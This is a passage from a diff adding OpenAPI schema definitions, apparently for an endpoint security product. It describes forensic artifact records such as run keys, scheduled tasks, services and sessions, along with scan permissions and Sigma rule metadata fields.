+        title: Disabled rule count
+        type: integer
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      engine:
+        enum:
+          - correlation
+          - ioc
+          - sigma
+          - yara
+        readOnly: true
+        title: Engine
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 128
+        minLength: 1
+        title: Name
+        type: string
+      new_source_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New source state
+        type: string
+      policies:
+        items:
+          $ref: '#/definitions/PolicyLight'
+        readOnly: true
+        type: array
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+    required:
+      - name
+    type: object
+  RunKey:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      location:
+        minLength: 1
+        title: Location
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - location
+      - name
+      - path
+      - tenant
+      - timestamp
+      - username
+      - wow64
+    type: object
+  ScanPermissions:
+    properties:
+      antivirus_scan:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Antivirus scan
+        type: string
+      ioc_scan:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Ioc scan
+        type: string
+      yara_scan:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Yara scan
+        type: string
+    required:
+      - antivirus_scan
+      - ioc_scan
+      - yara_scan
+    type: object
+  Schedule:
+    properties:
+      end_at:
+        format: date-time
+        title: End at
+        type: string
+        x-nullable: true
+      execution_time:
+        format: date-time
+        title: Execution time
+        type: string
+        x-nullable: true
+      repeat_every:
+        $ref: '#/definitions/ScheduleRepeat'
+      week_days:
+        items:
+          enum:
+            - 0
+            - 1
+            - 2
+            - 3
+            - 4
+            - 5
+            - 6
+          type: integer
+        type: array
+    required:
+      - execution_time
+      - repeat_every
+    type: object
+    x-nullable: true
+  ScheduleRepeat:
+    properties:
+      frequency:
+        minimum: 0
+        title: Frequency
+        type: integer
+      frequency_type:
+        enum:
+          - day
+          - hour
+          - month
+          - week
+        title: Frequency type
+        type: string
+    required:
+      - frequency
+      - frequency_type
+    type: object
+  ScheduledTaskBinary:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      application_name:
+        minLength: 1
+        title: Application name
+        type: string
+      author:
+        minLength: 1
+        title: Author
+        type: string
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      lastrun:
+        minLength: 1
+        title: Lastrun
+        type: string
+      short_name:
+        minLength: 1
+        title: Short name
+        type: string
+      task_parameters:
+        minLength: 1
+        title: Task parameters
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      uuid:
+        minLength: 1
+        title: Uuid
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - application_name
+      - author
+      - binaryinfo
+      - comment
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - lastrun
+      - short_name
+      - task_parameters
+      - tenant
+      - uuid
+    type: object
+  ScheduledTaskGlu:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - content
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+    type: object
+  ScheduledTaskXML:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      action_type:
+        minLength: 1
+        title: Action type
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      arguments:
+        minLength: 1
+        title: Arguments
+        type: string
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      command:
+        minLength: 1
+        title: Command
+        type: string
+      creation_date:
+        format: date-time
+        title: Creation date
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      display_name:
+        minLength: 1
+        title: Display name
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      hidden:
+        title: Hidden
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      principal_id:
+        minLength: 1
+        title: Principal id
+        type: string
+      run_level:
+        minLength: 1
+        title: Run level
+        type: string
+      short_name:
+        minLength: 1
+        title: Short name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      triggers:
+        minLength: 1
+        title: Triggers
+        type: string
+      uri:
+        minLength: 1
+        title: Uri
+        type: string
+      user_id:
+        minLength: 1
+        title: User id
+        type: string
+      working_directory:
+        minLength: 1
+        title: Working directory
+        type: string
+    required:
+      - '@timestamp'
+      - action_type
+      - agent
+      - arguments
+      - binaryinfo
+      - command
+      - creation_date
+      - description
+      - display_name
+      - enabled
+      - hidden
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - principal_id
+      - run_level
+      - short_name
+      - tenant
+      - triggers
+      - uri
+      - user_id
+      - working_directory
+    type: object
+  Search:
+    properties:
+      alertCount:
+        title: Alertcount
+        type: integer
+      binaries:
+        items:
+          $ref: '#/definitions/_SearchBinary'
+        type: array
+      id:
+        title: Id
+        type: integer
+      iocCount:
+        title: Ioccount
+        type: integer
+      persistence:
+        $ref: '#/definitions/_SearchPersistence'
+      processCount:
+        title: Processcount
+        type: integer
+      telemetryProcessCount:
+        title: Telemetryprocesscount
+        type: integer
+      title:
+        minLength: 1
+        title: Title
+        type: string
+      virustotalCount:
+        title: Virustotalcount
+        type: integer
+      yaraCount:
+        title: Yaracount
+        type: integer
+      yaraFilesystemCount:
+        title: Yarafilesystemcount
+        type: integer
+      yaraMemoryCount:
+        title: Yaramemorycount
+        type: integer
+    required:
+      - alertCount
+      - binaries
+      - id
+      - iocCount
+      - persistence
+      - processCount
+      - telemetryProcessCount
+      - title
+      - virustotalCount
+      - yaraCount
+      - yaraFilesystemCount
+      - yaraMemoryCount
+    type: object
+  SearchBinaryPersistence:
+    properties:
+      class:
+        minLength: 1
+        title: Class
+        type: string
+      count:
+        title: Count
+        type: integer
+      filter_field:
+        minLength: 1
+        title: Filter field
+        type: string
+      key:
+        minLength: 1
+        title: Key
+        type: string
+    required:
+      - class
+      - count
+      - filter_field
+      - key
+    type: object
+  SearchDumpProcess:
+    properties:
+      values:
+        items:
+          $ref: '#/definitions/WildcardProcess'
+        type: array
+    required:
+      - values
+    type: object
+  Security:
+    properties:
+      session_duration:
+        minimum: 1
+        title: Session duration
+        type: integer
+    required:
+      - session_duration
+    type: object
+  SecurityEventCountByLevel:
+    properties:
+      critical:
+        minimum: 0
+        title: Critical
+        type: integer
+      high:
+        minimum: 0
+        title: High
+        type: integer
+      informational:
+        minimum: 0
+        title: Informational
+        type: integer
+      low:
+        minimum: 0
+        title: Low
+        type: integer
+      medium:
+        minimum: 0
+        title: Medium
+        type: integer
+    required:
+      - critical
+      - high
+      - informational
+      - low
+      - medium
+    type: object
+  SecurityEventCountByStatus:
+    properties:
+      closed:
+        minimum: 0
+        title: Closed
+        type: integer
+      false_positive:
+        minimum: 0
+        title: False positive
+        type: integer
+      investigating:
+        minimum: 0
+        title: Investigating
+        type: integer
+      new:
+        minimum: 0
+        title: New
+        type: integer
+    required:
+      - closed
+      - false_positive
+      - investigating
+      - new
+    type: object
+  SecurityProvider:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - controlset
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - timestamp
+      - value
+    type: object
+  ServerMetadataUrl:
+    properties:
+      server_metadata_url:
+        format: uri
+        maxLength: 500
+        minLength: 1
+        title: Server metadata url
+        type: string
+      ssl_cacert:
+        format: uri
+        readOnly: true
+        title: Ssl cacert
+        type: string
+        x-nullable: true
+      ssl_cert:
+        format: uri
+        readOnly: true
+        title: Ssl cert
+        type: string
+        x-nullable: true
+      ssl_key:
+        format: uri
+        readOnly: true
+        title: Ssl key
+        type: string
+        x-nullable: true
+    required:
+      - server_metadata_url
+    type: object
+  Service:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      accountrun:
+        minLength: 1
+        title: Accountrun
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      display_name:
+        minLength: 1
+        title: Display name
+        type: string
+      dll:
+        minLength: 1
+        title: Dll
+        type: string
+      dll_main:
+        minLength: 1
+        title: Dll main
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_path:
+        minLength: 1
+        title: Image path
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      parameter_timestamp:
+        minLength: 1
+        title: Parameter timestamp
+        type: string
+      security_descriptor:
+        minLength: 1
+        title: Security descriptor
+        type: string
+      service_name:
+        minLength: 1
+        title: Service name
+        type: string
+      service_start:
+        title: Service start
+        type: integer
+      service_start_str:
+        minLength: 1
+        title: Service start str
+        type: string
+      service_type:
+        title: Service type
+        type: integer
+      service_type_str:
+        minLength: 1
+        title: Service type str
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - '@timestamp'
+      - accountrun
+      - agent
+      - binaryinfo
+      - controlset
+      - description
+      - display_name
+      - dll
+      - dll_main
+      - id
+      - image_path
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - parameter_timestamp
+      - security_descriptor
+      - service_name
+      - service_start
+      - service_start_str
+      - service_type
+      - service_type_str
+      - tenant
+      - timestamp
+    type: object
+  ServiceControlManager:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      security_descriptor:
+        minLength: 1
+        title: Security descriptor
+        type: string
+      service_name:
+        minLength: 1
+        title: Service name
+        type: string
+      service_type:
+        title: Service type
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - controlset
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - security_descriptor
+      - service_name
+      - service_type
+      - tenant
+      - type
+      - value
+    type: object
+  Session:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      authenticationpackage:
+        minLength: 1
+        title: Authenticationpackage
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      logonid:
+        title: Logonid
+        type: integer
+      logontype:
+        title: Logontype
+        type: integer
+      logontypestr:
+        minLength: 1
+        title: Logontypestr
+        type: string
+      sessionstarttime:
+        format: date-time
+        title: Sessionstarttime
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - authenticationpackage
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - logonid
+      - logontype
+      - logontypestr
+      - sessionstarttime
+      - tenant
+    type: object
+  SessionInfo:
+    properties:
+      authentication_package:
+        minLength: 1
+        title: Authentication package
+        type: string
+      event_time:
+        format: date-time
+        title: Event time
+        type: string
+      logon_id:
+        title: Logon id
+        type: integer
+      logon_type:
+        title: Logon type
+        type: integer
+      source_hostname:
+        minLength: 1
+        title: Source hostname
+        type: string
+      source_ip:
+        minLength: 1
+        title: Source ip
+        type: string
+      source_port:
+        title: Source port
+        type: integer
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_sid:
+        minLength: 1
+        title: Target sid
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+    required:
+      - authentication_package
+      - event_time
+      - logon_id
+      - logon_type
+      - source_hostname
+      - source_ip
+      - source_port
+      - target_domain
+      - target_sid
+      - target_username
+    type: object
+  SessionManager_Execute:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_name:
+        minLength: 1
+        title: Item name
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      item_value:
+        minLength: 1
+        title: Item value
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      session_type:
+        minLength: 1
+        title: Session type
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - controlset
+      - id
+      - item_name
+      - item_status
+      - item_value
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - session_type
+      - tenant
+    type: object
+  SessionManager_PendingFileRenameOperation:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_name:
+        minLength: 1
+        title: Item name
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      new_file_name:
+        minLength: 1
+        title: New file name
+        type: string
+      old_file_name:
+        minLength: 1
+        title: Old file name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - controlset
+      - id
+      - item_name
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - new_file_name
+      - old_file_name
+      - tenant
+    type: object
+  Shellbag:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      shellbag_path:
+        minLength: 1
+        title: Shellbag path
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - shellbag_path
+      - tenant
+      - timestamp
+      - username
+    type: object
+  ShimCache:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      exec_flag:
+        title: Exec flag
+        type: boolean
+      file_path:
+        minLength: 1
+        title: File path
+        type: string
+      file_size:
+        title: File size
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      last_exec_time:
+        format: date-time
+        title: Last exec time
+        type: string
+      last_modified_time:
+        format: date-time
+        title: Last modified time
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - exec_flag
+      - file_path
+      - file_size
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - last_exec_time
+      - last_modified_time
+      - tenant
+    type: object
+  ShortInstallation:
+    properties:
+      application_id:
+        format: uuid
+        title: Application id
+        type: string
+        x-nullable: true
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - application_id
+      - name
+    type: object
+  ShortInstallationWithVersion:
+    properties:
+      application_id:
+        format: uuid
+        title: Application id
+        type: string
+        x-nullable: true
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - application_id
+      - name
+      - version
+    type: object
+  Sidewatch:
+    properties:
+      alert_level:
+        default: critical
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Alert level
+        type: string
+    type: object
+  SidewatchDetectionDetails:
+    properties:
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+    required:
+      - kind
+    type: object
+  SigmaRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      backend_detection:
+        default: false
+        readOnly: true
+        title: Backend detection
+        type: boolean
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      declared_in:
+        title: Declared in
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        default: true
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      errors:
+        minLength: 1
+        readOnly: true
+        title: Errors
+        type: string
+        x-nullable: true
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_description:
+        minLength: 1
+        readOnly: true
+        title: Rule description
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+        x-nullable: true
+      rule_is_depended_on:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        readOnly: true
+        title: Rule name
+        type: string
+        x-nullable: true
+      rule_os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Rule os
+        type: string
+      rule_status:
+        minLength: 1
+        readOnly: true
+        title: Rule status
+        type: string
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: string
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      warnings:
+        minLength: 1
+        readOnly: true
+        title: Warnings
+        type: string
+        x-nullable: true
+      whitelist_count:
+        readOnly: true
+        title: Whitelist count
+        type: integer
+    required:
+      - content
+      - name
+      - source_id
+    type: object
+  SigmaRuleLinkedToCorrelationRuleResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - linked_sigma_rule
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      linked_correlation:
+        items:
+          $ref: '#/definitions/SimpleCorrelationRuleAndSourceSerializer'
+        type: array
+      sigma_rule:
+        $ref: '#/definitions/SimpleSigmaRuleAndSourceSerializer'
+    required:
+      - details
+      - linked_correlation
+      - sigma_rule
+    type: object
+  SigmaRulesetRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      backend_detection:
+        default: false
+        readOnly: true
+        title: Backend detection
+        type: boolean
+      block_on_agent:
+        readOnly: true
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        readOnly: true
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      declared_in:
+        readOnly: true
+        title: Declared in
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        default: true
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      errors:
+        minLength: 1
+        readOnly: true
+        title: Errors
+        type: string
+        x-nullable: true
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Global state
+        type: string
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        readOnly: true
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        readOnly: true
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_description:
+        minLength: 1
+        readOnly: true
+        title: Rule description
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+        x-nullable: true
+      rule_is_depended_on:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
